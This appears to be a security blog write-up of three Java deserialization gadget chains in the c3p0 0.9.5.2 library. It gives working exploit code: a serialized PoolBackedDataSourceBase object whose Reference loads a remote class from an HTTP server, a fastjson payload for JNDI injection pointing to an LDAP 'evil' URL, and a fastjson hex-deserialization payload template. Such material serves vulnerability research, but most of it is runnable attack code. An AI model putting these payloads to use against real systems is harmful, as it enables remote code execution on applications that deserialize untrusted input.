C3P0 Exploit

C3P0 Exploit

ENV

  • jdk8u65
  • c3p0 0.9.5.2

Gadget Chain

URLClassLoader

referenceToObject

In ReferenceableUtils#referenceToObject, there exists a call to URLClassLoader

we can use this code block as a sink.

Then Let’s check which method call this referenceToObject.

getObject

In ReferenceIndirector$ReferenceSerialized#getObject, we call the method referenceToObject

Then let’s find again which method call the getObject

readObject

In PoolBackedDataSourceBase#readObject, we call the getObject

Till now, we have formed a complete gadget chain.

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class exp {
public static void main(String[] argc)throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase, new evil());
serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
}
public static class evil implements ConnectionPoolDataSource, Referenceable {

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}

@Override
public Reference getReference() throws NamingException {
return new Reference("calc", "calc", "http://127.0.0.1:8010/");
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

JNDI Injection

dereference

This gadget chain is based on fastjson.

In JndiRefForwardingDataSource#dereference, we can find a JNDI Injection point.

inner

Next, we can find JndiRefForwardingDataSource#inner call the method dereference.

setLoginTimeout

We can find a lot of methods in the class JndiRefForwardingDataSource call the inner

These methods have the setter/getter format, so we can use fastjson to trigger.

So com.mchange has been banned in the fastjson1.2.25

EXP

1
2
3
4
public static void main(String[] argc)throws Exception{
String exp = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", \"jndiName\": \"ldap://127.0.0.1:8099/evil\", \"LoginTimeout\":\"1\"}";
JSON.parse(exp);
}

hexbase

WrapperConnectionPoolDataSource

Let’s audit the WrapperConnectionPoolDataSource#setUpPropertyListeners

We can find, in the WrapperConnectionPoolDataSource#parseUserOverridesAsString, it deserialize a hexstring.

setUpPropertyListeners

In a setter method, WrapperConnectionPoolDataSource#setUpPropertyListeners, we call the parseUserOverridesAsString

As a setter method, we can make a fastjson call to the setUpPropertyListeners

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class exp {
public static void main(String[] argc)throws Exception{
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ "HEXEXP" + ";\"," +
"}" +
"}";
System.out.println(payload);
JSON.parse(payload);
}
}

Reference

https://drun1baby.top/2022/10/06/Java反序列化之C3P0链/

https://p4d0rn.gitbook.io/java/serial-journey/c3p0